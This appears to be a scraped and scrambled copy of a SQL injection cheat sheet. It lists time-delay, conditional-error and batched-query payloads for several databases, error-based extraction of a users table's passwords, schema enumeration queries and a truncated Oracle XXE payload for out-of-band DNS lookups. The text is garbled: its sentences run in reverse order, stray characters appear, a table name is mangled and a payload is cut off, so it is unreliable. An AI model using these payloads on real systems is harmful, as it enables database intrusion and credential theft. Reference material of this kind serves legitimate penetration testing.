#Postgresql if then else password#

The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT EXTRACTVALUE(xmltype(' %remote ]>'),'/l') FROM dual The vulnerability has been patched but there are many unpatched Oracle installations in existence: The following technique leverages an XML external entity ( XXE) vulnerability to trigger a DNS lookup. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred. You can cause the database to perform a DNS lookup to an external domain. SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual You can test a single boolean condition and trigger a time delay if the condition is true. The following will cause an unconditional time delay of 10 seconds.

You can cause a time delay in the database when the query is processed. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database. With MySQL, batched queries typically cannot be used for SQL injection. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay. Note that while the subsequent queries are executed, the results are not returned to the application. You can use batched queries to execute multiple queries in succession. SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > invalid input syntax for integer: 'secret'

#Postgresql if then else password#

SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > Conversion failed when converting the varchar value 'secret' to data type int. You can potentially elicit error messages that leak sensitive data returned by your malicious query. SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')Įxtracting data via visible error messages SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL ENDġ = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual You can test a single boolean condition and trigger a database error if the condition is true. SELECT * FROM information_lumns WHERE table_name = 'TABLE-NAME-HERE'

SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' You can list the tables that exist in the database, and the columns that those tables contain. This information is useful when formulating more complicated attacks. You can query the database to determine its type and version. You can use comments to truncate a query and remove the portion of the original query that follows your input. Each of the following expressions will return the string ba. You can extract part of a string, from a specified offset with a specified length. You can concatenate together multiple strings to make a single string. This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.